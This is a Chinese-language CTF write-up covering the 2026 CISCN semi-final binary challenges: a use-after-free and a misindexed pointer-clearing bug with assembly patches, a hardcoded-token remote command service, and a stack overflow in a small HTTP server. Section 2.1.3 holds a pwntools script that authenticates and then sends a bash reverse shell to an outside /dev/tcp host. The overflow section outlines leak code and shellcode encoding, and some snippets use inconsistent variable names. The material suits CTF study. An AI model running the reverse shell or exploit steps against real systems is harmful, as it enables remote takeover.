2026ciscn半决赛
字数 2597
更新时间 2026-04-16 12:50:14

2026 CISCN 半决赛 PWN与渗透类题目技术解析与教学

文档概述

本文档基于对先知社区上发布的《2026ciscn半决赛》技术文章的深度解析,旨在系统性地教学其中涉及的二进制漏洞利用和渗透测试技术。文档涵盖了PWN题目(包括Use-After-Free和堆管理漏洞)以及渗透类题目(包括远程代码执行和栈溢出攻击)。所有技术细节均来源于提供的链接内容,并进行了结构化的整理与阐述。

第一部分:PWN类题目解析

1.1 题目一:catchme (PWN1)

1.1.1 漏洞点定位与分析

根据文档中的IDA Pro反汇编代码片段,可以定位到漏洞发生的核心位置:

.text:0000000000000E05 mov eax, [rbp+var_14]
.text:0000000000000E08 cdqe
.text:0000000000000E0A lea rdx, ds:0[rax*8]
.text:0000000000000E12 lea rax, heaplist
.text:0000000000000E19 mov rax, [rdx+rax]
.text:0000000000000E1D mov rdi, rax ; pt

关键信息提取

  • 全局数组heaplist的地址为0x202060
  • 存在数组索引访问:mov rdi, [0x202060+rax*8]
  • 漏洞类型:Use-After-Free (UAF)

1.1.2 漏洞原理

从代码逻辑分析,程序在释放堆块后,未将heaplist数组中对应的指针清空。当后续再次通过相同索引访问该位置时,会引用已释放的内存指针,导致UAF漏洞。

1.1.3 修补方案

文档中提供的修补方法为修改汇编代码:

.text:0000000000000E05 loc_E05:
.text:0000000000000E05 mov eax, [rbp+var_14]
.text:0000000000000E08 lea rdx, heaplist
.text:0000000000000E0F mov rdi, [rdx+rax] ; ptr
.text:0000000000000E13 push rdi
.text:0000000000000E14 call _free
.text:0000000000000E19 pop rdi
.text:0000000000000E1A mov rdi, r9

修补的核心思想是:在调用free释放内存后,应当立即将heaplist数组中对应的指针设置为NULL或进行清理,避免后续被再次使用。

1.2 题目二:broken_manager (PWN2)

1.2.1 漏洞代码分析

文档中给出的反汇编代码显示了漏洞的完整上下文:

mov eax, [rbp+index]
cdqe
lea rdx, ds:0[rax*8]
lea rax, heaplist
mov rdx, [rdx+rax]        ; 从heaplist读取堆指针
mov rax, [rbp+var_18]
mov rsi, rdx
mov rdi, rax
call sub_177F             ; 调用某个函数处理堆指针
mov eax, [rbp+index]
cdqe
lea rdx, ds:0[rax*4]      ; 注意此处是rax*4,而之前是rax*8
lea rax, heaplist         ; 错误:这里应该是heapsize数组
mov dword ptr [rdx+rax], 0 ; 将heapsize对应位置清零
jmp short loc_1CE1

1.2.2 漏洞根本原因

  1. 类型混淆:代码先以8字节为跨度访问heaplist(存储堆指针),但在清零操作时,却错误地以4字节为跨度访问同一地址空间
  2. 错误的数据结构访问:清零操作本应针对heapsize数组,但代码中错误地再次使用了heaplist的地址
  3. 未正确清理指针:堆指针未被正确清零,可能导致后续的UAF或double free漏洞

1.2.3 正确修补方法

正确的修复应该是将清零操作的对象从heaplist改为heapsize

lea rax, heapsize  ; 改为正确的数组地址
mov dword ptr [rdx+rax], 0

第二部分:渗透类题目解析

2.1 题目一:基础RCE漏洞

2.1.1 漏洞函数分析

文档中给出了关键函数Agent::receiveCommand的反编译代码片段。通过分析可发现:

认证逻辑漏洞

v15 = recv(*a2, buf, 0xFFFu, 0);
// ... 接收数据 ...
std::string::string(v7, buf, &v10);
if ((unsigned __int8)std::operator!=<char>(v7, "RCE_AUTH_2026"))
{
    // 认证失败,抛出异常
}

程序接收到数据后,将其与硬编码的认证令牌"RCE_AUTH_2026"进行比较。如果匹配成功,则继续执行后续逻辑。

2.1.2 利用方法

  1. 发送认证令牌:RCE_AUTH_2026
  2. 填充剩余缓冲区:使用ljust(0xfff, b"\x00")确保发送完整0xFFF字节
  3. 执行任意命令:认证通过后发送反弹shell命令

2.1.3 利用脚本

from pwn import*
io = remote('10.11.149.53', 12345)
pd = b'RCE_AUTH_2026'
io.send(pd.ljust(0xfff, b"\x00"))
io.sendline(b'bash -i >& /dev/tcp/10.11.117.37/2333 0>&1')

2.2 题目二:HTTP服务器栈溢出漏洞

2.2.1 漏洞环境

  • 目标:一个简单的HTTP服务器程序
  • 保护机制:无(无ASLR、NX、Stack Canary等)
  • 漏洞类型:栈缓冲区溢出

2.2.2 信息泄露漏洞

漏洞代码

if (!strcmp(uri, uri) && !strcmp("GET", method))
{
    fprintf(stderr, "%p\n", file_name);  // 泄露栈地址!
    sprintf(file_name, "%s%s", "./public", uri);
    // ...
}

当请求路径为./public时,程序会通过fprintf打印file_name的地址,这是一个栈地址,可以用于绕过ASLR(虽然本题无ASLR)。

2.2.3 栈溢出漏洞点

关键代码流程

  1. 程序接收HTTP请求并解析URI
  2. 调用uri_unescape(uri)对URI进行URL解码
  3. 解码后的URI存储在栈上的缓冲区中
  4. 漏洞:uri是一个全局变量,解码操作可能导致栈溢出

2.2.4 URL解码函数分析

文档中详细给出了uri_unescape函数的实现逻辑:

解码流程

  1. 跳过普通字符,直到遇到%、空白或字符串结束
  2. 处理+字符:解码为空格
  3. 处理%xx格式:将十六进制转换为字符
  4. 原地写回解码结果

关键限制

  • 使用__ctype_b_loc()检查空白字符
  • 解码直到遇到空白或字符串结束
  • 结果直接写回原缓冲区

2.2.5 编码转换函数

def pct(x):
    s = ""  # 最终结果字符串
    for i in x:  # 逐个取出字节
        one = "%02x" % i  # 把字节转成两位十六进制
        s += "%"  # 先加一个%
        s += one  # 再加十六进制数字
    return s  # 例如返回"%6a%01%5f"

2.2.6 利用条件与约束

  1. 文件描述符重定向

    dup2(clientfd, 1);  // 将标准输出重定向到客户端连接
    close(clientfd);    // 关闭原始的客户端文件描述符
    

    需要恢复标准输入/输出/错误,以便接收命令和输出结果。

  2. Shellcode要求

    • 需要恢复标准输入(0)、标准输出(1)、标准错误(2)
    • 需要进行文件描述符复制操作

2.2.7 完整利用流程

  1. 信息泄露阶段

    def create_get_request_raw(path="./public", host="10.11.149.51", port=8000):
        header = f"GET {path} HTTP/1.1\r\n"
        header += f"Host: {host}:{port}\r\n"
        header += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)\r\n"
        header += "Accept: */*\r\n"
        header += "\r\n"
        return header.encode()
    
    p_local = remote("127.0.0.1", 8000)
    p_local.send(pd)
    io.recvuntil(b"Accept: */*\r\n")
    stack = int(io.recvline().strip(), 16)
    
  2. 溢出攻击阶段

    • 构造包含shellcode的恶意URI
    • 使用pct()函数对shellcode进行URL编码
    • 发送特制的GET请求触发溢出
    • Shellcode需要包含dup2系统调用恢复标准输入输出
  3. Shellcode功能

    • 通过dup2系统调用复制文件描述符
    • 恢复标准输入、输出、错误
    • 执行execve("/bin/sh", NULL, NULL)

第三部分:技术总结与教学要点

3.1 PWN题目通用解题思路

  1. 静态分析:使用IDA Pro等工具分析二进制文件
  2. 漏洞识别:查找常见漏洞模式(UAF、堆溢出、类型混淆等)
  3. 动态调试:结合GDB验证漏洞触发路径
  4. 利用构造:根据保护机制设计利用方案
  5. 漏洞修补:理解漏洞根源并提供修复方案

3.2 渗透测试题目关键技术

  1. 协议分析:理解HTTP、自定义协议等通信格式
  2. 模糊测试:通过变异输入发现漏洞
  3. 编码绕过:掌握URL编码、Base64等编码方式的处理
  4. 信息泄露利用:将信息泄露转化为实际攻击能力
  5. Shellcode编写:根据环境约束定制Shellcode

3.3 重要安全启示

  1. 内存管理:释放后必须清空指针,避免UAF
  2. 类型安全:确保数组访问的类型一致性
  3. 输入验证:对所有用户输入进行严格的长度和内容检查
  4. 错误处理:异常情况下的资源清理和安全退出
  5. 最小权限:避免不必要的权限和功能暴露

第四部分:实战练习建议

  1. 复现PWN1的UAF漏洞,编写利用脚本
  2. 分析并修补PWN2的类型混淆漏洞
  3. 实现渗透题目一的RCE攻击链
  4. 编写完整的HTTP服务器栈溢出利用程序
  5. 尝试在开启保护机制(ASLR、NX、Canary)的情况下完成利用

本文档内容完全基于提供的链接材料整理生成,涵盖了2026年CISCN半决赛中PWN和渗透类题目的关键技术细节、漏洞原理、利用方法和修复方案。对于CTF参赛者和安全研究人员具有较高的参考价值和学习意义。

相似文章
相似文章
 全屏